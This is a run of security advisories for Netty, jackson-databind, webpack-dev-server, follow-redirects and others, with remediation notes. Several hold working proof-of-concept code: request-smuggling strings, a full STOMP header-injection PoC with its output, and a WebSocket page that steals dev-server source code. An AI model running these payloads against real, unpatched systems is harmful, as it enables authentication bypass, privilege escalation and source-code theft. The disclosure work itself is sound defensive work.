Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.136.Final and 4.2.16.Final, Netty's STOMP encoder ( StompSubframeEncoder ) does not escape or validate header values in CONNECT and CONNECTED frames, so raw newline ( \n ) characters in a header value are written directly to the wire, allowing an attacker who controls a header value to inject additional STOMP headers. This happens because the encoder intentionally skips escaping for CONNECT/CONNECTED frames per the STOMP 1.2 specification but never rejects the raw newlines, and since a broker parses each line as a separate header, an attacker controlling a value such as a user-supplied login or passcode can overwrite connection parameters or add authentication/role headers to bypass authentication or escalate privileges (the actual impact is broker-dependent). The issue is fixed in versions 4.1.136.Final and 4.2.16.Final.
Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, HttpPostRequestEncoder constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into Content-Disposition MIME headers without validating or sanitizing CRLF characters (\r\n). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part. The root cause is that neither the encoder nor the FileUpload implementations' setFilename() methods, which only check for null, neutralize CRLF characters before the filename is embedded into the header. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final.
yawkat LZ4 Java provides LZ4 compression for Java. Prior to 1.11.1, JNI-backed XXHash implementations fail to validate the byte array object and the off and len arguments in XXHashFactory.nativeInstance().hash32().hash(), XXHashFactory.nativeInstance().hash64().hash(), XXHashFactory.nativeInstance().newStreamingHash32().update(), and XXHashFactory.nativeInstance().newStreamingHash64().update(), allowing null arrays or oversized ranges to reach native code, read outside the Java array, and fatally terminate the JVM. This issue is fixed in version 1.11.1.
webpack-dev-server versions up to and including 5.2.3 are vulnerable to cross-origin source code exposure when serving over a non-potentially trustworthy origin such as plain HTTP. The previous fix relied on the Sec-Fetch-Mode and Sec-Fetch-Site request headers, which browsers omit for non-trustworthy origins, allowing a malicious site to load the bundled source as a script and read it across origins. Impact: an attacker controlling a website visited by a developer running webpack-dev-server can recover the application source code when the dev server runs over HTTP at a guessable host and port. Chromium based browsers from Chrome 142 onward are not affected due to local network access restrictions. Upgrade to webpack-dev-server 5.2.4 or later, which sets Cross-Origin-Resource-Policy: same-origin on responses.
Covert timing channel in comparison of MD5-hashed password in PostgreSQL authentication allows an attacker to recover user credentials sufficient to authenticate. This does not affect scram-sha-256 passwords, the default in all supported releases. However, current databases may have MD5-hashed passwords originating in upgrades from PostgreSQL 13 or earlier. Versions before PostgreSQL 18.4, 17.10, 16.14, 15.18, and 14.23 are affected.
### Summary Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks. ### Details Netty incorrectly marks a request as chunked when malformed "Transfer-Encoding: chunked, identity" is present. According to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length " If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding, the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request) status code and then close the connection. " A possible scenario is when Netty is behind a proxy that doesn't reject requests with "Transfer-Encoding: chunked, identity", but prefers "Content-Length" and forwards the content to Netty. ### PoC The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body. ```java @Test public void test() { String requestStr = "POST / HTTP/1.1\r\n" + "Host: localhost\r\n" + "Transfer-Encoding: chunked, identity\r\n" + "Content-Length: 48\r\n" + "\r\n" + "0\r\n" + "\r\n" + "GET /smuggled HTTP/1.1\r\n" + "Host: localhost\r\n" + "\r\n"; EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder()); assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII))); // Request 1 HttpRequest request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); assertTrue(request.headers().contains("Transfer-Encoding")); assertFalse(request.headers().contains("Content-Length")); LastHttpContent last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release(); // Request 2 request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release(); } ``` ### Impact HTTP Request Smuggling: Attacker injects arbitrary HTTP requests
Those using FasterXML/woodstox to seralize XML data may be vulnerable to Denial of Service attacks (DOS). If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow. This effect may support a denial of service attack. This vulnerability is only relevant for users making use of the DTD parsing functionality.
# Security Vulnerability Report: STOMP CONNECT Frame Header Injection in Netty ## 1. Vulnerability Summary | Field | Value | |-------|-------| | **Product** | Netty | | **Version** | 4.2.12.Final (and all prior versions with codec-stomp) | | **Component** | `io.netty.handler.codec.stomp.StompSubframeEncoder` | | **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: Improper Neutralization of CRLF in HTTP Headers | | **Impact** | STOMP Header Injection / Authentication Bypass | | **CVSS 3.1 Score** | **6.5 (Medium)** | | **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N` | | **Attack Vector** | Network | | **Attack Complexity** | Low | | **Privileges Required** | Low | | **User Interaction** | None | | **Scope** | Unchanged | | **Confidentiality Impact** | None | | **Integrity Impact** | High | | **Availability Impact** | None | ## 2. Affected Components - `io.netty.handler.codec.stomp.StompSubframeEncoder` — `encodeHeaders()` method (lines 174-200) - `io.netty.handler.codec.stomp.StompSubframeEncoder` — `shouldEscape()` method (lines 214-216) ## 3. Vulnerability Description The Netty STOMP codec encoder (`StompSubframeEncoder`) intentionally skips the `escape()` function for `CONNECT` and `CONNECTED` commands. This means that newline characters (`\n`) in header values of CONNECT frames are written directly to the output, allowing an attacker to inject additional STOMP headers. ### Root Cause In `StompSubframeEncoder.java`, the `shouldEscape()` method (lines 214-216) explicitly excludes CONNECT and CONNECTED commands from escaping: ```java private static boolean shouldEscape(StompCommand command) { return command != StompCommand.CONNECT && command != StompCommand.CONNECTED; } ``` When `shouldEscape()` returns `false`, header values are written without any escaping (line 195): ```java CharSequence headerValue = shouldEscape ? escape(entry.getValue()) : entry.getValue(); ByteBufUtil.writeUtf8(buf, headerValue); // Raw \n written to output buf.writeByte(StompConstants.LF); ``` For other commands (SEND, SUBSCRIBE, etc.), the `escape()` method (lines 218-240) correctly converts `\n` to `\\n`, `\r` to `\\r`, `:` to `\\c`, and `\\` to `\\\\`. ### STOMP Specification Context and Security Analysis The STOMP 1.2 specification (Section 10, Value Encoding) states that CONNECT and CONNECTED frames should **not use escaping**, to maintain backwards compatibility with STOMP 1.0 clients that do not understand escape sequences. **However, "no escaping" does not mean "no validation".** The specification's intent is that CONNECT headers should not use the `\n` → `\\n` escape notation. It does **not** mandate that implementations must accept raw newline characters within header values. There is a critical distinction: - **Escaping** = converting `\n` to `\\n` in the wire format (spec says: don't do this for CONNECT) - **Validation** = rejecting header values that contain `\n` (spec does not prohibit this) Netty's implementation conflates these two concepts: by skipping `escape()`, it also skips **all** protection against newline injection. The correct behavior would be to skip escaping but still **reject** values containing raw newline characters, since such values are inherently malformed — no legitimate STOMP 1.0 or 1.2 header value should contain a raw `\n`. This is analogous to Netty's own SMTP fix (GHSA-jq43-27x9-3v86): SMTP parameters don't need escaping either, but Netty added validation to reject CRLF in parameters. The same principle should apply here. **Additionally**, Netty's own test suite explicitly validates this non-escaping behavior in `StompSubframeEncoderTest.java:126-143` (`testNotEscapeStompHeadersForConnectCommand`), confirming that this is a deliberate design choice — but the test only verifies that escaping is skipped, not that injection is possible. The security implications were not considered. **Summary**: The vulnerability exists because: 1. Header values in CONNECT frames are **neither escaped nor validated** for newlines 2. A raw newline in a header value creates a **new header line** on the wire 3. The STOMP broker parses each line as a separate header 4. The fix should **validate** (reject `\n`) rather than **escape** (convert `\n` to `\\n`), maintaining spec compliance ## 4. Exploitability Prerequisites This vulnerability is exploitable when **all** of the following conditions are met: 1. The application uses Netty's `codec-stomp` module to encode STOMP frames 2. User-controlled input is placed into header values of a `CONNECT` or `CONNECTED` frame 3. The application does **not** perform its own newline sanitization 4. The downstream STOMP broker processes the injected headers (broker-dependent) **Typical affected use cases**: - STOMP proxy/gateway applications that forward or construct CONNECT frames with user-supplied credentials - Web-to-STOMP bridge applications (e.g., WebSocket-STOMP proxies) where login/passcode come from web forms - Multi-tenant STOMP platforms where tenant-specific headers are injected into CONNECT frames ## 5. Attack Scenarios ### Scenario 1: Authentication Bypass via Header Injection An attacker who can control any header value in a CONNECT frame can inject additional authentication-related headers: ```java DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT); frame.headers().set(StompHeaders.HOST, "localhost"); frame.headers().set(StompHeaders.LOGIN, "guest"); // Attacker injects a role header via \n in passcode frame.headers().set(StompHeaders.PASSCODE, "password\nadmin-role:true"); ``` **Wire format sent to broker:** ``` CONNECT host:localhost login:guest passcode:password admin-role:true <-- INJECTED HEADER <-- Empty line (end of headers) \0 ``` The broker receives 5 headers instead of the intended 4. If the broker checks for an `admin-role` header to grant elevated privileges, the attacker bypasses authentication. ### Scenario 2: Subscription Hijacking ```java frame.headers().set(StompHeaders.PASSCODE, "pass\nhost:evil-broker.com"); ``` This overwrites the `host` header, potentially redirecting the connection to an attacker-controlled STOMP broker (depending on broker implementation). ### Scenario 3: Header Overwrite ```java frame.headers().set(StompHeaders.LOGIN, "user\nlogin:admin"); ``` **Wire format:** ``` CONNECT login:user login:admin <-- INJECTED, may override first ... ``` Some brokers use the last value when duplicate headers exist, allowing the attacker to escalate to the `admin` account. ## 6. Proof of Concept ### Full Runnable PoC Source Code (StompConnectHeaderInjectionPoC.java) ```java import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.stomp.*; import java.nio.charset.StandardCharsets; /** * PoC: STOMP CONNECT/CONNECTED Frame Header Injection Vulnerability * * Demonstrates that StompSubframeEncoder skips escape() for CONNECT and * CONNECTED commands, allowing \n injection in header values to create * additional STOMP headers. */ public class StompConnectHeaderInjectionPoC { public static void main(String[] args) { System.out.println("=== Netty STOMP CONNECT Header Injection PoC ===\n"); testConnectHeaderInjection(); testConnectVsOtherCommand(); System.out.println("\n=== PoC Complete ==="); } /** * Test 1: CONNECT command header injection via \n in value */ static void testConnectHeaderInjection() { System.out.println("[TEST 1] CONNECT Header Value Injection"); System.out.println("-----------------------------------------"); // Craft a CONNECT frame with \n in passcode value DefaultStompHeaders headers = new DefaultStompHeaders(); headers.set(StompHeaders.HOST, "localhost"); headers.set(StompHeaders.ACCEPT_VERSION, "1.2"); headers.set(StompHeaders.LOGIN, "user"); headers.set(StompHeaders.PASSCODE, "password\nadmin-role:true"); DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT); frame.headers().setAll(headers); EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder()); channel.writeOutbound(frame); ByteBuf output = channel.readOutbound(); String encoded = output.toString(StandardCharsets.UTF_8); output.release(); channel.finishAndReleaseAll(); System.out.println("Input passcode: \"password\\nadmin-role:true\""); System.out.println(); System.out.println("Encoded STOMP frame:"); System.out.println("---"); // Show with visible control chars for (String line : encoded.split("\n", -1)) { System.out.println(" " + line.replace("\r", "\\r").replace("\0", "\\0")); } System.out.println("---"); // Check if the injected header appears as a separate line boolean hasInjectedHeader = false; String[] lines = encoded.split("\n"); for (String line : lines) { if (line.startsWith("admin-role:")) { hasInjectedHeader = true; break; } } System.out.println(); System.out.println("Injected 'admin-role' appears as separate header: " + hasInjectedHeader); System.out.println("VULNERABLE: " + (hasInjectedHeader ? "YES - Header injection in CONNECT frame!" : "NO")); // Count actual STOMP headers (lines between command and empty line) int headerCount = 0; boolean inHeaders = false; for (String line : lines) { if (line.equals("CONNECT")) { inHeaders = true; continue; } if (inHeaders && line.trim().isEmpty()) break; if (inHeaders && line.contains(":")) headerCount++; } System.out.println("Expected headers: 4 (host, accept-version, login, passcode)"); System.out.println("Actual headers: " + headerCount); System.out.println(); } /** * Test 2: Compare CONNECT (no escape) vs SEND (with escape) */ static void testConnectVsOtherCommand() { System.out.println("[TEST 2] CONNECT vs SEND Escape Comparison"); System.out.println("--------------------------------------------"); String maliciousValue = "value\ninjected:evil"; // Test CONNECT (no escape) { DefaultStompHeaders headers = new DefaultStompHeaders(); headers.set(StompHeaders.HOST, "localhost"); headers.set("custom", maliciousValue); DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT); frame.headers().setAll(headers); EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder()); channel.writeOutbound(frame); ByteBuf output = channel.readOutbound(); String encoded = output.toString(StandardCharsets.UTF_8); output.release(); channel.finishAndReleaseAll(); System.out.println("CONNECT frame with custom=\"value\\ninjected:evil\":"); System.out.println(" Encoded: " + encoded.replace("\n", "\\n").replace("\0", "\\0")); boolean hasRawNewline = encoded.contains("value\ninjected:evil"); System.out.println(" Raw \\n in output: " + hasRawNewline); System.out.println(" VULNERABLE: " + (hasRawNewline ? "YES" : "NO")); } System.out.println(); // Test SEND (with escape) { DefaultStompHeaders headers = new DefaultStompHeaders(); headers.set(StompHeaders.DESTINATION, "/queue/test"); headers.set("custom", maliciousValue); DefaultStompFrame frame = new DefaultStompFrame(StompCommand.SEND); frame.headers().setAll(headers); EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder()); channel.writeOutbound(frame); ByteBuf output = channel.readOutbound(); String encoded = output.toString(StandardCharsets.UTF_8); output.release(); channel.finishAndReleaseAll(); System.out.println("SEND frame with custom=\"value\\ninjected:evil\":"); System.out.println(" Encoded: " + encoded.replace("\n", "\\n").replace("\0", "\\0")); boolean hasEscapedNewline = encoded.contains("value\\ninjected\\cevil"); boolean hasRawNewline = encoded.contains("value\ninjected:evil"); System.out.println(" Escaped \\n: " + hasEscapedNewline); System.out.println(" Raw \\n: " + hasRawNewline); System.out.println(" SAFE: " + (hasEscapedNewline && !hasRawNewline ? "YES" : "NO")); } System.out.println(); } } ``` ### How to Compile and Run ```bash # Build Netty (skip tests for speed) ./mvnw install -pl common,buffer,codec,codec-stomp,transport -DskipTests -Dcheckstyle.skip=true \ -Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \ -Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q # Set classpath JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \ | grep -v sources | grep -v javadoc | tr '\n' ':') # Compile and run javac -cp "$JARS" StompConnectHeaderInjectionPoC.java java -cp "$JARS:." StompConnectHeaderInjectionPoC ``` ### PoC Execution Output (Verified on Netty 4.2.12.Final) ``` === Netty STOMP CONNECT Header Injection PoC === [TEST 1] CONNECT Header Value Injection ----------------------------------------- Input passcode: "password\nadmin-role:true" Encoded STOMP frame: --- CONNECT host:localhost accept-version:1.2 login:user passcode:password admin-role:true <-- INJECTED HEADER \0 --- Injected 'admin-role' appears as separate header: true VULNERABLE: YES - Header injection in CONNECT frame! Expected headers: 4 (host, accept-version, login, passcode) Actual headers: 5 [TEST 2] CONNECT vs SEND Escape Comparison -------------------------------------------- CONNECT frame with custom="value\ninjected:evil": Encoded: CONNECT\nhost:localhost\ncustom:value\ninjected:evil\n\n\0 Raw \n in output: true VULNERABLE: YES SEND frame with custom="value\ninjected:evil": Encoded: SEND\ndestination:/queue/test\ncustom:value\ninjected\cevil\n\n\0 Escaped \n: true Raw \n: false SAFE: YES === PoC Complete === ``` ### Key Observation The PoC demonstrates a clear inconsistency: - **CONNECT** command: `\n` is written **raw** → header injection succeeds - **SEND** command: `\n` is escaped to `\\n` → header injection prevented ## 7. Impact Analysis | Impact Category | Description | |----------------|-------------| | **Authentication** | Injected headers may bypass broker authentication logic | | **Authorization** | Role escalation via injected role/permission headers | | **Integrity** | Modification of connection parameters (host, version, etc.) | | **Broker-Specific** | Impact varies by STOMP broker implementation (RabbitMQ, ActiveMQ, etc.) | ### Affected Brokers This vulnerability affects any application using Netty's STOMP encoder to communicate with STOMP brokers. The actual exploitability depends on the broker's handling of unexpected headers: - **RabbitMQ**: Uses specific headers for authentication; additional headers are typically ignored but may affect plugins - **ActiveMQ**: May process custom headers for internal routing - **Custom Brokers**: Most likely to be affected if they trust all received headers ## 8. Remediation Recommendations ### Option 1: Validate CONNECT Header Values (Recommended) Add newline validation for CONNECT/CONNECTED frames instead of skipping escaping entirely: ```java private static void encodeHeaders(StompHeadersSubframe frame, ByteBuf buf) { StompCommand command = frame.command(); ByteBufUtil.writeUtf8(buf, command.toString()); buf.writeByte(StompConstants.LF); boolean shouldEscape = shouldEscape(command); for (Entry<CharSequence, CharSequence> entry : frame.headers()) { CharSequence headerKey = entry.getKey(); CharSequence headerValue = entry.getValue(); if (shouldEscape) { headerKey = escape(headerKey); headerValue = escape(headerValue); } else { // For CONNECT/CONNECTED: don't escape but REJECT newlines validateNoNewlines(headerKey, "header name"); validateNoNewlines(headerValue, "header value"); } ByteBufUtil.writeUtf8(buf, headerKey); buf.writeByte(StompConstants.COLON); ByteBufUtil.writeUtf8(buf, headerValue); buf.writeByte(StompConstants.LF); } buf.writeByte(StompConstants.LF); } private static void validateNoNewlines(CharSequence value, String type) { for (int i = 0; i < value.length(); i++) { char c = value.charAt(i); if (c == '\n' || c == '\r') { throw new IllegalArgumentException( "STOMP CONNECT " + type + " contains illegal newline at index " + i); } } } ``` ### Option 2: Apply Escaping to All Commands Simply remove the CONNECT/CONNECTED exception: ```java private static boolean shouldEscape(StompCommand command) { return true; // Always escape } ``` Note: This may break compatibility with STOMP 1.0 clients, but is the most secure approach. ## 9. References - [STOMP 1.2 Specification](https://stomp.github.io/stomp-specification-1.2.html) - [STOMP 1.2 Section 10: Value Encoding](https://stomp.github.io/stomp-specification-1.2.html#Value_Encoding) - [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html) - [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (similar pattern)](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)
## Summary For Java Records, `POJOPropertiesCollector._removeUnwantedIgnorals()` records a `@JsonIgnore`-annotated component under its original implicit name before `_renameUsing()` applies the `PropertyNamingStrategy`. After the rename, `_ignoredPropertyNames` still holds only the pre-rename name, so `_ignorableProps` is built from the stale key. The renamed JSON key passes `IgnorePropertiesUtil.shouldIgnore()` and is assigned to the Record's constructor parameter, defeating the `@JsonIgnore`. ## Impact A Record using a naming strategy that relies on `@JsonIgnore` to keep an internal/privileged component out of deserialization can have that component set from the wire via its renamed key (e.g. a role/flag controlled by an untrusted client). ## Affected / Patched (verified via `git tag --contains`) - 2.15-2.18 line: `>= 2.15.0, < 2.18.8` -> fixed in **2.18.8** (backport `c7c6783`) - 2.19-2.21 line: `>= 2.19.0, < 2.21.4` -> fixed in **2.21.4** - 3.x line: `>= 3.0.0, < 3.1.4` -> fixed in **3.1.4** (#5974, `baa2cdf`) ## Severity / CWE Maintainer: minor. Reporter: Moderate. CWE-915; related CWE-345. ## Credits Omkhar Arasaratnam (@omkhar) - finder.
## Summary `UnwrappedPropertyHandler.processUnwrapped()` replays the buffered JSON for a `@JsonUnwrapped` property by iterating its properties and calling `prop.deserializeAndSet()` with **no `prop.visibleInView(ctxt.getActiveView())` guard** — the exact guard `processUnwrappedCreatorProperties()` received in the #5971 / GHSA-rcqc-6cw3-h962 fix, and the guard `BeanDeserializer.deserializeWithUnwrapped` applies to directly-matched properties. As a result, a property annotated with both `@JsonView(PrivilegedView.class)` and `@JsonUnwrapped` is written from attacker JSON even when deserializing under a more-restrictive active view. **Correction to the original framing (runtime-verified):** the gap is NOT a per-field inner `@JsonView` (the unwrapped sub-object's own `BeanDeserializer` gates inner fields correctly). The unchecked gate is the **view of the unwrapped CONTAINER property**. ## Intent proof (runtime, 2.x HEAD 21dd70dd and 3.x HEAD 7a5939d6) An `@JsonView(AdminView)` property that is NOT `@JsonUnwrapped` → `null` under `PublicView` (correctly gated). The identical property WITH `@JsonUnwrapped` → fully populated (bypass). The fix the creator path already received, not applied to the regular-property method. ## Impact — write-side mass-assignment / privilege escalation `@JsonView` is commonly used as a write-side authorization guard: a public endpoint binds the body under `readerWithView(PublicView.class)` and groups privileged state in a nested object whose container property is `@JsonView(AdminView)`. When that property is `@JsonUnwrapped`, an untrusted caller mass-assigns it. PoC: a self-service registration where `AccountFlags{role,approved,creditBalance}` is `@JsonView(AdminView) @JsonUnwrapped`; attacker JSON `{role:ADMIN,approved:true,creditBalance:1000000}` under `PublicView` binds all three → approved admin with arbitrary balance. The failing gate is a WRITE gate, hence integrity-high (`C:N/I:H/A:N`); no worse than the C:L/I:L parent and arguably higher as `@JsonView`-as-write-guard is the exact use case #5971/#5969 defended. ## Affected - `com.fasterxml.jackson.core:jackson-databind` 2.x: confirmed bypass at 21dd70dd (== released 2.21.4 / 2.22.0 line; includes the #5973 backport). `DEFAULT_VIEW_INCLUSION` default=true. - `tools.jackson.core:jackson-databind` 3.x: confirmed bypass at HEAD 7a5939d6 (latest 3.x). `DEFAULT_VIEW_INCLUSION` default=false → the stock-config repro is the common shape where privileged inner fields are individually `@JsonView(PublicView)` and the developer relies on the container `@JsonView(AdminView)`; the 3.x PoC mass-assigns role/approved/creditBalance under PublicView. (The other simultaneous report's PoC was reportedly fixed on 3.x; this distinct container-property path is not.) ## Additive variants (runtime-confirmed both branches; all closed by the same one-line guard) - nested `@JsonUnwrapped` (unwrapped-in-unwrapped) — recursive bypass. - merge / `readerWithView(...).withValueToUpdate(...)` (PATCH/partial-update) — bypass; non-unwrapped merge control gates correctly. - builder-based deserializer (`@JsonDeserialize(builder=...)`) — `BuilderBasedDeserializer` routes through the same `processUnwrapped`. - Honest non-findings: read-side serialization correctly honors views (no leak); `@JsonAnySetter`+view and `@JsonTypeInfo`+`@JsonUnwrapped` are separate/unsupported behaviors, not this bug. ## Fix Add `prop.visibleInView(ctxt.getActiveView())` (when `MapperFeature.DEFAULT_VIEW_INCLUSION`/active-view applies) to the `processUnwrapped()` property loop, mirroring `processUnwrappedCreatorProperties()`. One change closes the impact PoC + all three variants across `BeanDeserializer` and `BuilderBasedDeserializer`. Full runnable PoCs (2.x + 3.x) + variant harnesses available on request.
### Summary Netty's CorsHandler provides a `shortCircuit()` configuration designed to reject unauthorized cross-origin requests immediately, acting as a security control before requests reach the application. However, due to a logical operator error in the origin evaluation process, this protection can be entirely bypassed. An attacker can bypass the short-circuit mechanism by sending a request with an `Origin: null` header. This failure forwards unauthorized requests to the backend application, bypassing intended access controls. ### Details In `io.netty.handler.codec.http.cors.CorsHandler#channelRead`, the short-circuit logic relies on the configuration returned by `getForOrigin(origin)` to determine if an origin is authorized. If `getForOrigin` returns a configuration object, the short-circuit check `(!(origin == null || config != null))` is bypassed, and the request proceeds to the backend. The vulnerability is located in the `getForOrigin` method: ```java if (corsConfig.isNullOriginAllowed() || NULL_ORIGIN.equals(requestOrigin)) { return corsConfig; } ``` If an attacker sends `Origin: null`, `NULL_ORIGIN.equals(requestOrigin)` evaluates to true. The method returns the configuration object regardless of whether `isNullOriginAllowed()` was configured by the developer. The short-circuit is bypassed. ### Impact Applications relying on CorsHandler's short-circuit feature to prevent unauthorized cross-origin requests from reaching their backend logic are completely exposed. The framework fails to enforce the developer's intended access controls, allowing unauthorized requests to be processed.
Versions of the package tough-cookie before 4.1.3 are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in `rejectPublicSuffixes=false` mode. This issue arises from the manner in which the objects are initialized.
### Summary The `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri. ### Details The `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`) The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers. ### PoC Simple reproducer: ```java public static void main(String[] args) { EmbeddedChannel client = new EmbeddedChannel(); client.pipeline().addLast(new HttpClientCodec()); EmbeddedChannel server = new EmbeddedChannel(); server.pipeline().addLast(new HttpServerCodec()); server.pipeline().addLast(new ChannelInboundHandlerAdapter() { @Override public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { System.out.println("Processing msg " + msg); } }); DefaultHttpRequest request = new DefaultHttpRequest( HttpVersion.HTTP_1_1, HttpMethod.GET, "/s1 HTTP/1.1\r\n" + "\r\n" + "POST /s2 HTTP/1.1\r\n" + "content-length: 11\r\n\r\n" + "Hello World" + "GET /s1" ); client.writeAndFlush(request); ByteBuf tmp; while ((tmp = client.readOutbound()) != null) { server.writeInbound(tmp); } } ``` ### Impact Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection.
### Summary Netty's `CorsHandler` silently overwrites existing `Vary` headers, enabling cache poisoning and sensitive information disclosure. ### Details `io.netty.handler.codec.http.cors.CorsHandler#setVaryHeader` overwrites any existing Vary headers set by backend applications. ```java private static void setVaryHeader(final HttpResponse response) { response.headers().set(HttpHeaderNames.VARY, HttpHeaderNames.ORIGIN); } ``` Because `set()` replaces all existing values for the header, if a backend application sets a `Vary` header (such as `Vary: Authorization` or `Vary: Cookie`) to ensure that intermediate caches (like CDNs) cache responses separately per user, the `CorsHandler` will overwrite it with `Vary: origin`. This causes the caching proxy to ignore the authorization context and cache the response based solely on the URL and Origin, allowing an attacker to retrieve another user's cached sensitive data. ### Impact This is a Cache Poisoning vulnerability that leads to Information Disclosure. It impacts any Netty-based web application that uses the CorsHandler, sets its own Vary headers to manage caching of authenticated or user-specific responses (e.g., Vary: Authorization), and is deployed behind a caching proxy or CDN. The end-users of these applications are impacted, as their sensitive data may be leaked to unauthorized actors.
### Summary Source code may be stolen when you access a malicious web site with non-Chromium based browser. ### Details The `Origin` header is checked to prevent Cross-site WebSocket hijacking from happening which was reported by CVE-2018-14732. But webpack-dev-server always allows IP address `Origin` headers. https://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127 This allows websites that are served on IP addresses to connect WebSocket. By using the same method described in [the article](https://blog.cal1.cn/post/Sniffing%20Codes%20in%20Hot%20Module%20Reloading%20Messages) linked from CVE-2018-14732, the attacker get the source code. related commit: https://github.com/webpack/webpack-dev-server/commit/72efaab83381a0e1c4914adf401cbd210b7de7eb (note that `checkHost` function was only used for Host header to prevent DNS rebinding attacks so this change itself is fine. This vulnerability does not affect Chrome 94+ (and other Chromium based browsers) users due to [the non-HTTPS private access blocking feature](https://developer.chrome.com/blog/private-network-access-update#chrome_94). ### PoC 1. Download [reproduction.zip](https://github.com/user-attachments/files/18418233/reproduction.zip) and extract it 2. Run `npm i` 3. Run `npx webpack-dev-server` 4. Open `http://{ipaddress}/?target=http://localhost:8080&file=main` with a non-Chromium browser (I used Firefox 134.0.1) 5. Edit `src/index.js` in the extracted directory 6. You can see the content of `src/index.js`  The script in the POC site is: ```js window.webpackHotUpdate = (...args) => { console.log(...args); for (i in args[1]) { document.body.innerText = args[1][i].toString() + document.body.innerText console.log(args[1][i]) } } let params = new URLSearchParams(window.location.search); let target = new URL(params.get('target') || 'http://127.0.0.1:8080'); let file = params.get('file') let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss'; let wsPort = target.port; var currentHash = ''; var currentHash2 = ''; let wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}/ws`; ws = new WebSocket(wsTarget); ws.onmessage = event => { console.log(event.data); if (event.data.match('"type":"ok"')) { s = document.createElement('script'); s.src = `${target}${file}.${currentHash2}.hot-update.js`; document.body.appendChild(s) } r = event.data.match(/"([0-9a-f]{20})"/); if (r !== null) { currentHash2 = currentHash; currentHash = r[1]; console.log(currentHash, currentHash2); } } ``` ### Impact This vulnerability can result in the source code to be stolen for users that uses a predictable port and uses a non-Chromium based browser.
When using [axios](https://github.com/axios/axios), its dependency follow-redirects only clears authorization header during cross-domain redirect, but allows the proxy-authentication header which contains credentials too. ## Steps To Reproduce & PoC Test code: ```js const axios = require('axios'); axios.get('http://127.0.0.1:10081/', { headers: { 'AuThorization': 'Rear Test', 'ProXy-AuthoriZation': 'Rear Test', 'coOkie': 't=1' } }) .then((response) => { console.log(response); }) ``` When I meet the cross-domain redirect, the sensitive headers like authorization and cookie are cleared, but proxy-authentication header is kept. ## Impact This vulnerability may lead to credentials leak. ## Recommendations Remove proxy-authentication header during cross-domain redirect ### Recommended Patch [follow-redirects/index.js:464](https://github.com/follow-redirects/follow-redirects/commit/c4f847f85176991f95ab9c88af63b1294de8649b) ```diff - removeMatchingHeaders(/^(?:authorization|cookie)$/i, this._options.headers); + removeMatchingHeaders(/^(?:authorization|proxy-authorization|cookie)$/i, this._options.headers); ```
### Impact A brace pattern with a zero step value (e.g., `{1..2..0}`) causes the sequence generation loop to run indefinitely, making the process hang for seconds and allocate heaps of memory. The loop in question: https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184 `test()` is one of https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113 The increment is computed as `Math.abs(0) = 0`, so the loop variable never advances. On a test machine, the process hangs for about 3.5 seconds and allocates roughly 1.9 GB of memory before throwing a `RangeError`. Setting max to any value has no effect because the limit is only checked at the output combination step, not during sequence generation. This affects any application that passes untrusted strings to expand(), or by error sets a step value of `0`. That includes tools built on minimatch/glob that resolve patterns from CLI arguments or config files. The input needed is just 10 bytes. ### Patches Upgrade to versions - 5.0.5+ A step increment of 0 is now sanitized to 1, which matches bash behavior. ### Workarounds Sanitize strings passed to `expand()` to ensure a step value of `0` is not used.
